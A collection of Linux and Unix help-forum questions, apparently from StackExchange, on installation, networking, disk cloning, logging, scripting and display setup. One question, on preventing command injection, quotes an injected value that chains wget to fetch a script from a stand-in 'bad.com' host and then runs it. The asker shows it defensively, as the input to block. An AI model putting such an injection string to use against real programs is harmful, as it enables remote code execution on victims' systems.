title: How to install linux lmms multimedia studio

text: I have Linux Zorin OS and I'm trying to install the newest version Multimedia Studio. I get a tar file when downloaded but don't know where to go from there. Any suggestions for an old man trying to learn new tricks?


title: How does cat know the baud rate of the serial port?

text: I regularly use `cat` to view debugging information in the console from my FPGA development board over the serial connection, but I never have had to tell linux what the baud rate is. How does cat know what the baud rate of the serial connection is?


title: hook a script to apt-get

text: I have `/tmp` on a separate partition, and mounted with `noexec`. I am using Debian. The installation of some packages fails, because the post-installation scripts of some packages need to run from `/tmp`. I was wondering if it would be possible to "hook" a simple script to `apt- get`, which would be run every time before `apt-get`, and remount `/tmp` to `exec`. And similarly, remount it to `noexec` after `apt-get` has finished. any ideas would be appreciated


title: correct password but unable to connect to wifi

text: **Problem**   * Not able to connect to wireless network even after giving the correct password **Characteristics of Problem**   * After starting laptop, I choose the wireless network from the network manager icon on taskbar.    * I am asked for password    * I enter the **correct password**   * After a minute I get dialog box asking me to enter password again   * If I enter correct password, I get the same dialog box after a minute asking me to enter password again.   * I updated the router firmware and tried again and the same sequence of events happens. **System Properties**   * Using WPA2 security on the router   * Router model is netgear WGT624 v4   * Updated the firmware to the latest   * Using Bodhi Linux 2.3   * `lspci` gives the line `03:00.0 Network controller: Atheros Communications Inc. AR9462 Wireless Network Adapter (rev 01)`   * `nm-tool` gives the driver name as `ath9k`   * Output on dmesg `wlan0: authenticate with 00:1e:2a:5f:14:48   wlan0: capabilities/regulatory prevented using AP HT/VHT configuration, downgraded   wlan0: send auth to 00:1e:2a:5f:14:48 (try 1/3)   wlan0: authenticated   wlan0: associate with 00:1e:2a:5f:14:48 (try 1/3)   wlan0: RX AssocResp from 00:1e:2a:5f:14:48 (capab=0x431 status=0 aid=6)   wlan0: associated   cfg80211: Calling CRDA for country: US   ath: regdomain 0x8348 updated by CountryIE   ath: EEPROM regdomain: 0x8348   ath: EEPROM indicates we should expect a country code   ath: doing EEPROM country->regdmn map search   ath: country maps to regdmn code: 0x3a   ath: Country alpha2 being used: US   ath: Regpair used: 0x3a   cfg80211: Regulatory domain changed to country: US   cfg80211: (start_freq - end_freq @ bandwidth), (max_antenna_gain, max_eirp)   cfg80211: (2402000 KHz - 2472000 KHz @ 40000 KHz), (300 mBi, 2700 mBm)   cfg80211: (5170000 KHz - 5250000 KHz @ 40000 KHz), (300 mBi, 1700 mBm)   cfg80211: (5250000 KHz - 5330000 KHz @ 40000 KHz), (300 mBi, 2000 mBm)   cfg80211: (5490000 KHz - 5600000 KHz @ 40000 KHz), (300 mBi, 2000 mBm)   cfg80211: (5650000 KHz - 5710000 KHz @ 40000 KHz), (300 mBi, 2000 mBm)   cfg80211: (5735000 KHz - 5835000 KHz @ 40000 KHz), (300 mBi, 3000 mBm)   wlan0: Limiting TX power to 27 (27 - 0) dBm as advertised by 00:1e:2a:5f:14:48   wlan0: deauthenticating from 00:1e:2a:5f:14:48 by local choice (reason=3)   cfg80211: Calling CRDA to update world regulatory domain   cfg80211: World regulatory domain updated:   cfg80211: (start_freq - end_freq @ bandwidth), (max_antenna_gain, max_eirp)   cfg80211: (2402000 KHz - 2472000 KHz @ 40000 KHz), (300 mBi, 2000 mBm)   cfg80211: (2457000 KHz - 2482000 KHz @ 20000 KHz), (300 mBi, 2000 mBm)   cfg80211: (2474000 KHz - 2494000 KHz @ 20000 KHz), (300 mBi, 2000 mBm)   cfg80211: (5170000 KHz - 5250000 KHz @ 40000 KHz), (300 mBi, 2000 mBm)   cfg80211: (5735000 KHz - 5835000 KHz @ 40000 KHz), (300 mBi, 2000 mBm)` Could someone please tell me if how I may get my comp to connect to the network?


title: Unable to resolve hostname

text: So I try to do:               ssh $(hostname)      and it tells me:               ssh: Could not resolve hostname woofy: Name or service not known      It knows that its own hostname is "woofy"; why can't it connect to itself?


title: Where can I look for backup script?

text: I want find out where the backup script of a Fedora 8 server is. I haven't found it so far ( my Linux knowledge is very spare). I looked with `crontab -l` and I only can find a tempdelete.pl. Than I looked into `/etc/cron.daily` and I can see   * 000-delay.cron   * logrotate   * mlocate.cron   * rpm   * tmpwatch   * 0anacron   * cups   * makewhatis.cron   * prelink   * tetex.con Nothing which looks like a backup script if taken the name. Nothing in the `/etc/cron.hourly` directory and `etc/cron.weekly` looks similar. The backup script includes backup from Windows and Linux machines (about 5 machines). I also saw that there is a separate backup user. It came to my mind that the backups are started from the other machines, not from the machine which holds the backup. I also looked under `/mnt` and there are three entries, but all are empty. I looked on one Windows machine and didn't found something in the task planner. Also the other backup software which is on this machine doesn't make this backup. How can I find out how the backup mechanism is working? Hope someone can help me out. **@Zoredache** : Yes, I inherited it from my precursor. I think it is a script, because no backup system was mentioned. On one Windows machine there is `CA ARCserve Backup Manager`, but it only makes backup on tapes. My precursor told me that it exists and one time I looked on it and the disk space is now empty. Therefore I want to find out how the backup looks like. I don't really know if it is running, I only saw that the diskspace is empty and thats why I think it is running. I add an excerpt of `/var/log`, but I don't know if it is logged.               anaconda.log     anaconda.syslog     anaconda.xlog     audit     bittorrent     boot.log     boot.log-20120115     boot.log-20120122     boot.log-20120129     boot.log-20120205     btmp     btmp-20120201     cron     cron-20120115     cron-20120122     cron-20120129     cron-20120205     cups     dmesg     faillog     gdm     httpd     lastlog     mail     maillog     maillog-20120115     maillog-20120122     maillog-20120129     maillog-20120205     messages     messages-20120115     messages-20120122     messages-20120129     messages-20120205     ntpstats     ppp     prelink     proftpd     rpmpkgs     rpmpkgs-20120115     rpmpkgs-20120122     rpmpkgs-20120129     rpmpkgs-20120205     samba     secure     secure-20120115     secure-20120122     secure-20120129     secure-20120205     setroubleshoot     spooler     spooler-20120115     spooler-20120122     spooler-20120129     spooler-20120205     tallylog     vbox     wtmp     wtmp-20120201     xferlog     Xorg.0.log     Xorg.0.log.old     yum.log      In which log file should I look? In `cron` I see this               Feb  9 19:01:01 backup CROND[19717]: (root) CMD (run-parts /etc/cron.hourly)


title: need shell script to grock a csv

text: Need some pointing in right direction on script to fetch and regex or sed. Site24x7 provides a URL with a CSV list of their source IP's used for monitoring. (they also provide other formats, CSV seems the least messed up as their structure leaves a lot to be desired. https://www.site24x7.com/multi- location-web-site-monitoring.html ) Like so:               Country,City,IP Address External     Australia,Sydney,"101.0.67.53"     Australia,Melbourne,"125.214.65.59"     Belgium,Brussels,"87.238.165.164"     Brazil,São Paulo,"200.170.83.170"     Brazil,Rio de Janeiro,"201.20.20.237"     Canada,Toronto,"208.69.56.166,     208.69.56.171,     208.69.56.172 "     Canada,Montreal,"199.204.45.153,     199.204.45.154,     199.204.45.155,     199.204.45.156"      I need to save it as an Allow include file in apache. Like so:               Allow from \     72.5.230.111 \     72.5.230.65 \     72.5.230.84


title: Using wildcards to match a directory in bash

text: Lets say the folder structure is like so:               /home/     --user1/asdf     --user2/asdf1234     --user3/asdf325234     --cool/asdf      How could I change to asdf1234 without specifying the user? For example:               cd /home/*/asdf1234      How can I use "not" in bash? For example, lets say I want to go to `/home/cool` but use not capability: `cd /home/!user*/asdf` is this possible? Are these bash tricks possible?


title: Is there a GUI tool to show an archive information with ratio visualization?

text: Is there a GUI tool to show an archive information with ratio visualization like this: ![enter image description here](http://i.stack.imgur.com/6Jm4o.png)


title: Is there a tool to display WiFi information in console?

text: Can I view detected WiFi networks details (like signal strength, encryption etc.) in command line? The more detailed - the better.


title: grub shows multiple kernel versions on startup

text: I have Ubuntu 10.10 and after few updates the boot menu lists many kernel versions. How do I remove older versions?


title: Overheating results in system shutdown

text: I have been having an overheating issue which makes my laptop shutdown immediately. Is there anyway to monitor the temperature from the sensor and scale down the CPU frequency to avoid that problem? Is there any existing software or shell script that can handle that job?


title: Devices get renamed when SATA disk attached

text: I have an HP xw8200 workstation running linux with two small, fast SCSI drives hooked up to the onboard LSI SCSI controller. The drives get labeled /dev/sda & /dev/sdb in /dev, respectively. I have a large SATA disk that I want to add to the system to store data, but every time I connect it, it's /dev gets assigned sda & the two scsi drives are assigned sdb,c, which messes with the boot procedure. How can I get this SATA drive to use sdc? Or what's the quickest way to get this set up?


title: tun0+ iptables rule

text: I'm trying to figure out what that + sign means in a rule such as this:               -A FORWARD -i tun0+ -j ACCEPT      I'm pretty positive it relates to vpn. I noticed a /dev/net/tun interface and a tun0 in ifconfig, but for the sake of thoroughness, I want to know about that + sign. Anyone know anything?


title: update-alternatives: disable log file /var/log/alternatives.log

text: I would like to disable the logfile `/var/log/alternatives.log`. I understand that this is being logged by `update-alternatives` script, and I also understand that `update-alternatives` can take the argument `\--log`, specifying an non-standard log file (in my case I would like /dev/null). But since `update-alternatives` is run automatically, I don't know how to specify that command line option `\--log`. Is there some config file, where I could specify the `\--log` parameter ?


title: sed one-liner to delete any line that does not contain lowercase letters

text: So, basically THIS LINE WOULD BE DELETED and (THIS LINE WOULD ALSO BE DELETED) but Indeed, THIS LINE WOULD NOT


title: Restore clock after short powerdown for no-network, no-RTC system

text: I've made a programmable power switch using Raspberry Pi (although this question is not RPi specific - it's more of "generic Linux" with problem caused by hardware shortcomings.) Raspberry has no battery-backed RTC; it's intended to work networked and sync its clock soon after boot-up over network. My problem is, that while I do programming of said switch over the net, and I can get given sockets to switch on/off at given hour that way, the device itself is to be used at different locations, including non-networked ones. When if I carry it from where I programmed it to where it's to be plugged in, it's unpowered and the clock loses state. After I power it back up, it has no connectivity to restore the date. The few minutes when it's unpowered is not a problem for me - I don't mind the clock being off by a minute or two. I mind if it's off by 43 years as is the case after I switch it on non-networked. Is there some neat way to restore the clock on boot-up to a state from before the system went down due to power loss? (writing it every second to SD card which is the memory medium of RPi will kill the card quite fast so that's not quite an option.)


title: Could someone provide a step by step guide to configuring OpenVPN server to work over port 443?

text: My network is very restrictive and many many things do not work so I need to configure a VPN that will work over port 443. I have tried numerous times to set up the server myself, however I can never get further than establishing a connection between the server and the client. The traffic is not being tunnelled. Furthermore I could not get it to run over port 443 to work correctly. I am able to use either debian or ubuntu on the server.


title: Obtaining md5 during wget

text: I'm `wget`'ing huge files (over 100GB) and then comparing my md5sum to the sum posted in the repository. Believe it or not, `md5sum` takes a nontrivial amount of time to run on a file of this size, so I'd like to get the sum in parallel with the download. What's the best way to do this? I don't see a `wget` option to calculate MD5 during download (surprisingly) so I guess using `tee` would be the way to go?!


title: How can I quickly copy a GPT partition scheme from one hard drive to another?

text: On a non GPT partition table I can do               sfdisk -d /dev/sda | sfdisk /dev/sdb      But `sfdisk` doesn't support GPT partition tables. What can I use instead? I'm looking for a one or two command solution, not just using GNU parted to output the partition sizes and then manually making them again.


title: Receive Pop/IMAP email and then forward as encrypted to gmail

text: Basically, I have an email account I can access as POP3 or IMAP. I want to take all incoming emails, encrypt them, and then forward the encrypted version to my gmail account (so I can see the subject/notifications on my phone/gmail account; and possibly decrypt the message with a passphrase -- though this last step doesn't need to be implemented initially). I probably could write a python script to do this, but using the proper linux tools seems like a better route. I have postfix (in a satelite configuration) already set up to send outgoing mail. What's the easiest way to read POP3/IMAP on a linux box and get it to gpg encrypt the email's body and attachments (not subject headers) with my public key, and forward it to my gmail acct? (For the record; its against work's policy (partially for compliance with US HIPAA law) for me to send unencrypted versions of my email to my phone; as there's the potential for someone to deliberately (or inadvertantly) email protected data to my phone. Work considers GPG to be secure.)


title: How can I handle raw binary data in a bash pipe?

text: I have a bash function that takes a file as a parameter, verifies the file exists, then writes anything coming off stdin to the file. The naive solution works fine for text, but I am having problems with arbitrary binary data.               echo -n '' >| "$file" #Truncate the file     while read lines     do  # Is there a better way to do this? I would like one...         echo $lines >> "$file"     done


title: Recommended Resources To Get Started With Terminal-Only Linux Server?

text: I want to try to setting up a headless (terminal-only) Ubuntu Linux server, and am trying to find resources to get started. I've been a GUI Linux/Windows user for a while now, and have run through a tutorial to setup a server on an Ubuntu desktop (with the GUI), but the biggest hurtle I found was when I tried to only use the terminal. Ultimately I want to try to setup a web server and host personal content (personal website, or possibly a personal Confluence site). On the server I'd also like to setup a database (postgres / mysql), I wouldn't shy away from some experience with Samba as well. I've gone far enough to enable ssh on a server so I can ssh in, but am pretty much a beginner from there. Problems I encountered with my only attempt at running a headless server: I think I installed mysql (with apt-get), but didn't grasp almost anything after that, such as how to get the database service to start with the server on server restart, how to check that it did install correctly, or even how to make sure it was running without access to a visual process manager. Is there a tutorial someone would recommend specifically aimed at people with discomfort with a Linux server, and particularly using a terminal-only interface?


title: Vim - statusline and links

text: Given this situation:               cd ~/temp     ln -s /var/lib/alsa alsa     cd alsa     pwd -> /home/<username>/temp/alsa      But if I open some file in the directory output of `pwd`, the `vim` statusline gives me:               /var/lib/alsa/asound.state      How can I make it show the `pwd` result, and not follow the link? I'm using:               set statusline=%F%=%m\ %y\ \%r\ %1*\ \%l\:\%c\ \%2*\ \ \%p%%\ \


title: Add year to entries generated by rsyslogd

text: The default configuration of rsyslogd writes log entries in the traditional format, which looks like this:               Nov 30 10:40:01 localhost CRON[30786]: pam_unix(cron:session): session closed for user list      There is no year, which is inconvenient for tools that process logs and that require an exact time stamp for each entry, have to implement hacks which guess the year. We can switch rsyslogd to a built-in template called `RSYSLOG_FileFormat` which changes to a high-precision timestamp. While this is RFC timestamp format is fine for processing, it is verbose gibberish with no whitespace that is hard on the human eyes.               2013-11-30T10:50:01.478204-08:00 localhost CRON[31200]: ...      Unfortunately, the template system of rsyslogd is very unfriendly and the documentation is poor. Incredibly, for all the unnecessary complexity in this template system, the value of `dateformat` is evidently linked to a hard coded C `enum` of choices! There are parameters like `$YEAR` but these just pull out the current time, not the one from the message timestamp, so that is a hack. I just want to concentrate on writing the program program which processes the entries. **What is the right blurb I can put into a`rsyslogd.conf` file to get this exact output:**               Nov 30 2013 10:40:01 localhost CRON[31200]: ...      Just the traditional template, plus year.


title: Allow all group members to create directories and files

text: There are 2 users   `sftp_user   apache`   Both users belong to the `updaters` group as well as other groups. New directories and files are created in the `/updates/` directory.   `drwxrwsr-x 8 sftp updaters 4096 Feb 27 16:12 updates` The `/updates` directory has the sticky bit set to the `updaters` group.   `chmod g+s /updates` In this scenario, sftp can create new directories and files using SFTP. However, when apache tries to create new directories and files, permission is declined. How can I make it so both users (in the group updaters) can create new directories and files?


title: Turn system on by USB keyboard?

text: To hibernate my Debian Wheezy system, I run the following command:               sudo sh -c 'echo disk > /sys/power/state'      To wake up the system, I can press any key on my USB keyboard. My understanding of hibernation/suspend to disk is that the machine state is saved into swap space, and the machine is completely powered off. **Is it possible to enable "Wake on USB" without hibernating the system? So I can power on the system, by pressing a key on the keyboard, after a normal shutdown?** So far I have located the USB port the keyboard is connected to, and tried the following command:               sudo sh -c 'echo enabled > /sys/bus/usb/devices/2-4/power/wakeup'      But after shutting the system down, I cannot turn it on again by pressing a key on the keyboard. The fact that the power is completely cut off when hibernating the system, makes me believe that it could also be possible to wake the system by USB from normal shutdown. But I have not found any solution yet.


title: How can I add an application to the GNOME window manager?

text: The GNOME on-board documentation covers only the things anyone can easily guess. I have an application for that I can only start from the command line. Not that I mind using a terminal but ... Anyway, how do I add the command (and preferably a nice logo) to GNOME WM?


title: simply change IP after installation on server minimal

text: I'm using CentOS 6.5 minimal. Is there any way to display a dialog to change the IP after login? In other words, some way of entering a command with a dialog to change the IP?


title: terminal command that prints out tabs, spaces, and newlines as \t \s and \n

text: I wrote a terminal program in c that converts tabs to spaces. And I would like to see that it works and how many spaces were converted from tabs. The problem is when I create a file called input.txt and pipe it to the program, it just shows blanks for both tabs and spaces rather than the actual characters \t and \s. So I am wondering if there is an existing terminal command that could take the output of my program and replace tabs and spaces with \t and \s respectively:               cat input7.txt | ./detab     abc  def        Perhaps something like:               cat input7.txt | ./detab | command     abc\s\s\sdef\s\s\s        Does such a command exist already?


title: Where does dd start when copying a partition?

text: I'm copying an entire HDD using the `dd` tool, and I'm considering stopping part of the backup due to space limitations. Does the `dd` tool begin at the front of a partition when copying? The first ~90 GB are the relevant parts as they contain boot information, everything else can be ignored if necessary. I could not find this information in the manpages.


title: Got "syntax error near unexpected end of file" in bash script

text: I'm making an script that gives me a day like this jjj/yyyy when I give it a day like this dd/mm/yyyy and I need it to have an error when you don't write correctly but I'm starting and it's not working :(               #! /bin/bash          #Primero debes ingresar el mes     echo "Ingresa el número de un mes del año"     read mes          #Condicional      #Dependiendo si coloca bien $mes     if [ "$mes" -lt 12 -a "$mes" -gt 0 ]; then     echo "muy bien, sigamos."         else         if [ "$mes" -gt 12 -a "$mes" -lt 0 ]; then         echo "Creo que eso ya no es un mes!";     exit     fi      When I run it it says "syntax error near unexpected end of file" Can anyone help me?


title: Bluetooth controller worked on Ubuntu 10.10, but not on later versions

text: I am trying to get a Bluetooth controller working that has a touchpad, keyboard, mediabuttons etc. In recent versions of Linux, the keyboard and mediabuttons work, but the touchpad does not, however in Ubuntu 10.04 the touchpad also worked. I don't have much experience with Linux drivers etc, and would love to learn in order to get this working, but don't really know where to start. Would there be a way to find out what driver the device was using and somehow get that working in later versions of Ubuntu/Linux Mint? Please comment with any logs/command you need for more info. dmesg on 10.04:               [  112.752679] input: SONY NSG-MR5-E as /devices/pci0000:00/0000:00:1a.0/usb3/3-1/3-1:1.0/bluetooth/hci0/hci0:11/input17     [  112.753085] generic-bluetooth 0005:0609:0368.0004: input,hidraw3: BLUETOOTH HID v1.11 Keyboard [SONY NSG-MR5-E] on 00:21:86:C0:1F:FF      demsg on Mint 15:               [  606.257698] hid-generic 0005:0609:0368.0006: unknown main item tag 0x0     [  606.258109] input: SONY NSG-MR5-E as /devices/pci0000:00/0000:00:1a.7/usb1/1-1/1-1.1/1-1.1.3/1-1.1.3:1.0/bluetooth/hci0/hci0:12/input14     [  606.258314] hid-generic 0005:0609:0368.0006: input,hidraw3: BLUETOOTH HID v1.11 Keyboard [SONY NSG-MR5-E] on e0:f8:47:1e:54:ff


title: How to change relatime access time update interval from 24 hours?

text: According to the RHEL 6 documentation about the Relatime Drive Access Optimization: > The kernel used in Red Hat Enterprise Linux 6 supports another alternative — > relatime. Relatime maintains atime data, but not for each time that a file > is accessed. With this option enabled, atime data is written to the disk > only if the file has been modified since the atime data was last updated > (mtime), or if the file was last accessed more than a certain length of time > ago **(by default, one day)**. Emphasis mine -- this documentation suggests that the access time updating algorithm can be changed to use a different interval than 24 hours, but I have no idea how to actually accomplish this. There apparently used to be a sysctl option named `fs.relatime_interval` as mentioned here, but I cannot find it in my Centos 6.5 kernel (2.6.32-431.) Is it possible to make this value something arbitrary like 12 hours, 6 hours, etc?


title: Is it possible to use dd to clone only the part of the hard drive which is used?

text: if only 1/3 of a 300GB hard disk is used. Is it possible to use dd to clone the drive (but only the 100GB that is used)? dd if=/dev/sda of=clone.img


title: moving files of certain formats from subdirectoris to directories with same folder names

text: I’ve got a weird situation. I have 100s of folders with flac and mp3 copies of the same tracks. I need to separate the mp3s from the flacs and put them into similarly named directories. for example:               Album A : flac+mp3 >> Album A : flac                           Album A : mp3      I am on a Unix system. How can I use the command line to achieve this?


title: I want to run Linux ISO from windows

text: I'm looking to run a linux ISO from within windows 7, say Tiny Core Linux, since I'm new to Linux and I'm looking to learn it from within a familiar environment. I have tried StartLinux, and extracted its contents in a folder with the ISO file. It started fine but, after a while, I recieved a blue screen and the computer rebooted. Linux also didn't see the Hard drive, but that was alright (for my limited needs). I have also tried mounting the ISO using Ultraiso, and used StartLinuxCD but the boot never continued in the first place. I also booted Tinycore normally with a USB stick, but it didn't start the GUI, but that's another matter. I have tried downloading Cygwin, but I never understood how it works :S Is their any other way I can run Linux from within windows for a beginner like myself, without problems? I'm looking to do very simple tasks in Linux; like opening the BASH, or getting familiar with the tools, while reading the documentation from Windows or the internet.


title: start-stop-daemon won't start my Python script as service

text: I am trying to run Google AppEngine on my Debian machine, I created a file `init.d/gae`:               . /lib/lsb/init-functions          #     # Initialize variables     #          name=gae     user=$name          pid=/var/run/$name.pid     prog="python /opt/google_appengine/dev_appserver.py --host=0.0.0.0 --admin_host=0.0.0.0 --php_executable_path=/usr/bin/php-cgi /var/www"               case "${1}" in        start)           echo "Starting...Google App Engine"           start-stop-daemon --start --make-pidfile --background --oknodo --user "$user" --name "$name" --pidfile "$pid" --startas "$prog"                 ;;             stop)           echo "Stopping...Google App Engine"                ;;             restart)           ${0} stop           sleep 1           ${0} start           ;;             *)           echo "Usage: ${0} {start|stop|restart}"           exit 1           ;;     esac          exit 0          # End scriptname      I am testing the script by manually invoking, and the script runs but not as a daemon or at least it doesn't detach from terminal. I am expecting/looking for similar functionality to Apache. What switch am I missing? I have scoured the manuals and Google and cannot figure this out :( EDIT | I should note that no PID file is being written or created despite the switch indicating it should be created


title: Recursively copy apache openmeetings within red5 folder on linux

text: I just installed openmeetings for first time on centos 6.5 and it was working but couldn't figure out why it had a folder full of identical files to my /usr/local/red5 I mean I just can't understand why openmeetings couldn't just be downloaded in the red5/webapps folder but I've tried and it cannot. As it stands it wants to start its own red5 server session and redirect to mysite:5080/openmeetings but i was hoping it would just share along with other red5 apps and which ever one was open used the server. I ended up having to killall java before i could shut down and then restart to open an app in red5/oflaDemo You should be able to copy it over but I'm not sure how without making a terrible mess. The apache program compiles itself with red5 scripts attached including its own webapps folder.


title: How to find out the dynamic libraries executables loads when run

text: I want to find out the list of dynamic libraries a binary loads when run (With their full paths). I am using CentOS 6.0. How to do this?


title: Red Hat Linux 3 in VMware Workstation 10 hardware question

text: I am running a very old copy of Red Hat 3 from 1999 in VMware Workstation 10 and I cannot get the X11 display server to go above 320*200 resolution. Installing VMware additions is out of the question, so I am wondering what devices should I choose in Xconfigurator to at least get a 1024*768 pixel desktop up. If this is not possible, then I am probably barking up the wrong tree, but I really want to see what the old Gnome 1.0 desktop looked like in action.


title: why is df update slow?

text: When I remove large files, then use `df` to check the disk usage, often it takes a noticeable amount of time to update the disk usage percentage appropriately. This affects several data management scripts that are removing files until the system gets down to a specific percent of disk utilization. I know it's easy to just throw a `sleep` in there, but I prefer to understand why the update takes a while. So my questions are:   1. Why does `df` take some time to update?   2. Is there a better way to check disk utilization immediately after removing files (`fvstat` or something like it)?   3. Any recommendations on how to manage this data better (it's a lot of data, stacking up pretty quick...)? I'll be satisfied with an answer for any of the above questions.               System: QNX Neutrino 6.4.1, PDKSH     Commands: `rm -rf bigdatafiles*.tar` and `df -kP`


title: Verifying a .tar.gz backup

text: **Edit 3:** For people who will read this question: `\--verify` mysteriously fails with _"Warning: Cannot seek: Illegal seek"_ , hence I recommend you look for alternative ways to verify your archives. My original question follows. * * * Short of restoring it, what is a proper way to ensure the integrity of a `.tar.gz` backup? I'm using `GNU tar`. According to the man page of `tar` and to what I have read around, `tar` offers a `\--verify` option while creating an archive and a `\--diff` option to find differences between an existing archive and the file system. Is a check with `\--diff` redundant right after creating an archive with `\--verify`? Or is `\--diff` more reliable and hence a previous `\--verify` is redundant, unless you want your backup procedure to fail fast? Should we invoke `gzip --test` as well to verify the `.gz` archive, or does `tar` perform such a check on its own already, both with `\--verify` and `\--diff`? I would say it does. Thanks for your attention. **Edit:** As suggested by Lgeorget, I could store an hash of the archive as well, to check at restoration time that the archive has not been corrupted. **Edit 2:** Hence, apparently `\--verify` would be enough. Maybe I could use `tar --list` to check that the archive is readable and extractable. I also wonder whether `\--diff` checks the contents of files or just their names (and possibly attributes).


title: How to prevent command injection through command options?

text: I have an wrapper application where I need to let the user specify custom options to pass to a simulator. However, I want to make sure the user doesn't inject other commands through the user options. What's the best way to accomplish this? For example.   * User provides: `-a -b`   * Application executes: `mysim --preset_opt -a -b` However, I don't want this to happen:   * User provides: `&& wget http:\\\bad.com\bad_code.sh && .\bad_code.sh`   * Application executes: `mysim --preset_opt && wget http:\\\bad.com\bad_code.sh && .\bad_code.sh` Currently, I'm thinking that I could simply surround every user provided option with single quotes `'` and strip out any user-provided single quotes, so that the command in the last example would turn out to be a harmless: `mysim -preset_opt '&&' 'wget' 'http:\\\bad.com\bad_code.sh' '&&' '.\bad_code.sh'` Note: The `mysim` command executes as part of a shell script in a docker/lxc container. I'm running Ubuntu.


title: Use of different disc drives for Operating Systems

text: I have a desktop with Windows on it and am wanting to install Fedora on one of the other disc drives I have due to room on the current C drive which is a 60GB SSD. Is something like this possible?


title: How can I setup a dual-head display in portrait mode? (Arch)

text: I have two monitors on my desk in portrait orientation. One is plugged in with a DVI cable and the other with a VGA (I don't have two DVI cables available) into my Gigabyte Radeon 7750 HD graphics card. ![enter image description here](http://i.stack.imgur.com/THjEy.png) In Arch I installed `xf86-video-ati` from the official repository. When I boot the machine both monitors are recognized and cloned in landscape position. I generated xorg.conf with `Xorg --configure` and file is located at `/etc/X11/xorg.conf`. Inside of my xorg.conf at the end of all of the "ScreenX" sections I have added `Option "RandRRotation" "True"` Now if I run `xrandr --output DVI-1 --right-of VGA-0` the monitors will both be recognized as separate (not cloned displays anymore) and I am able to drag windows across the screens properly. However if I run `xrandr --output DVI-1 --rotate right` nothing happens, the same for VGA-0. I have also tried `xrandr -o 1` this turns off all of the screens until I run `xrandr -o 0` which only turns one display (VGA-0) back on. How can I get the screens to rotate to portrait?


title: Connecting to KVM on a GUI-less CentOS 6.4 using MobaXterm

text: I followed the directions at this question: Installing KVM on CentOS 6.4 without GUI (yet) But I'm not sure which feature (there are many!) of MobaXterm I should use to connect to the KVM. On the CentOS box I ran `sudo service libvirtd start` okay, but what does that mean now? Is it running a VNC server listening on 5900? Or an X server on some other port? (I.e., I assume I'll need to modify `iptables` to be able to connect, but which port should I be opening?) Also I'd like to leave SELinux enabled, so I assume I'll need to do something with `semanage` as well. If it is running VNC server at this point, I'm sure I can fix iptables, and maybe figure out SELinux. If it's running X, maybe I can too, but then in MobaXterm I'm not sure which service tool I'd use--I don't see one called 'X Server' unlike the one called 'VNC'. Also, will I be able to connect successfully (even if there's nothing to see) if I haven't yet managed to actually install a VM?


title: Copying latest files from the remote servers

text: We run report on multiple remote servers which we pick up monthly on our central server. The whole process is automated with `scp` and working well. The issue is that sometimes we go on individual servers and try to run these reports manually to gather data and that creates the issue. This way our central server get many files from the same server which we have to find and delete. I am looking for ideas as to how we can make this process smart so we don't have to deal with multiple files from the same server for the current month.


title: Access X-window and sound on laptop on another Unix

text: I read up a lot about forwarding x-server onto remote machines, but I feel like I'm too dumb to get it to work. Let me first explain my goal: I have a Rasberry Pi running archarm hooked up to a TV. Because it is lacking power for some jobs (e.g. watching large flash videos), I want to kind of compute them on my laptop and send the X output to my Pi. I tried some tutorials on the net without success. I think that my laptop is the `server` or `remote-machine`, and the pi the `client`. So I enabled `X11Forwarding` in /etc/ssh/sshd_config on the Laptop issued `xhost +` and restarted the service. After that I used `ssh -X user@laptop_ip` to connect. As I issued `startx`, the Display on my LAPTOP started a new xfce session. Do I understand the concept wrong? How can I make the Pi act as a remote machine, so that they both share the screen from the laptop?


title: Peculiar piping grep/head behavior

text: I'm helping the netadmin here with a perl regex to automate operating on some snapshots from our SAN and our scripts does stuff like this:               varinit1=$(iscsiadm -m session | grep rbmsdata1 | head -n1 | perl -pe 's/^tcp: \[\d*\] \d*\.\d*\.\d*\.\d*:\d*,\d* (iqn\..*\..*\..*:.*-.*-.*-.*-(.*-.*-\d{4}-\d{2}-\d{2}-\d{2}:\d{2}:\d{2}\.\d*\.\d*))$/$1/')          varsnap1=$(iscsiadm -m session | grep rbmsdata1 | head -n1 | perl -pe 's/^tcp: \[\d*\] \d*\.\d*\.\d*\.\d*:\d*,\d* (iqn\..*\..*\..*:.*-.*-.*-.*-(.*-.*-\d{4}-\d{2}-\d{2}-\d{2}:\d{2}:\d{2}\.\d*\.\d*))$/$2/')      There are two pieces in the signature of the snapshot, one nested in the other and we're using the capturing groups to capture the name and a piece of the name for different subsequent commands which need to be performed. I know it's running the same command over and over, and the regex can be cleaned up later, but basically they are using perl to output one parens and and the other.               tcp: [32] 40.40.40.101:3260,1 iqn.2001-05.com.equallogic:4-52aed6-91c5ffa78-2f0d8ae18504fee1-r12prd-rbmsdata1-2012-06-29-16:07:40.108.1     tcp: [33] 40.40.40.101:3260,1 iqn.2001-05.com.equallogic:4-52aed6-91c5ffa78-2f0d8ae18504fee1-r12prd-rbmsdata1-2012-06-29-16:07:40.108.1      Wanting to capture out of that which was the result of the icsiadm and grep to get this:               iqn.2001-05.com.equallogic:4-52aed6-91c5ffa78-2f0d8ae18504fee1-r12prd-rbmsdata1-2012-06-29-16:07:40.108.1      and               r12prd-rbmsdata1-2012-06-29-16:07:40.108.1      The problem we're having is that sometimes the piping to head to get the first line is failing with:               head: cannot open '–n1' for reading: No such file or directory      Of course, this appears to indicate that the stdin to head is empty so it's looking for a file name. But there's no reason for it to ever be empty. If we do things like this:               varinit1=$(iscsiadm -m session | grep rbmsdata1 | head -n1)     varsnap1=$(iscsiadm -m session | grep rbmsdata1 | head -n1)      the second one will fail and the second variable will be empty. Yet if we reverse them, then varsnap1 will fail:               varsnap1=$(iscsiadm -m session | grep rbmsdata1 | head -n1)     varinit1=$(iscsiadm -m session | grep rbmsdata1 | head -n1)      It's very peculiar and we can't figure out what's going on. The iscsiadm command is returning the same thing each run when we run it from the command- line, and after grepping. Is there something messing up the piping? head version 5.97 on RedHat Enterprise Linux


title: find command in linux

text: I was told by my friend that one can work with -r switch to find files recursively in directories and subdirectories.Please tell me the error in the given statement it does not work               find / -type f -r -name "abc.txt"


title: Source (.) piped curl output

text: I have a file, f, on my webserver with the following contents:               alias ll='ls -l'      I would like to (from another linux box) do the following, but I can't get the command right:               curl http://myserver/f | ?      Where the ? will read each line into the current environment. So, given the above file, this would have the same effect as doing               % alias ll='ls -l'      in the current shell process. Is this possible?


title: Clipboard utility to paste back multiple lines one by one

